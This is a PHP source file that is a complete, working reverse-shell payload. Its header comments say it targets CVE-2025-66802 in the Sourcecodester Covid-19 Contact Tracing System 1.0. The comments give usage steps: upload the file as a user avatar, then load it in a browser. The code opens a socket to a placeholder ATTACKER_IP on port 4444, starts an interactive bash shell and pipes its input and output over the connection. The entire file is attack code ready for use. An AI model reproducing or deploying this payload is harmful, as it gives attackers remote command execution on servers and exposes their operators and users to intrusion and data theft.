<?php
// PHP Reverse Shell for CVE-2025-66802
// Target: Sourcecodester Covid-19 Contact Tracing System 1.0
// Usage: Upload this file as user avatar, then access it via web browser
$ip = 'ATTACKER_IP'; // Change to attacker IP
$port = 4444; // Change to attacker listening port
$chunk_size = 4096;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while (true) {
if (feof($sock) || feof($pipes[1])) break;
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>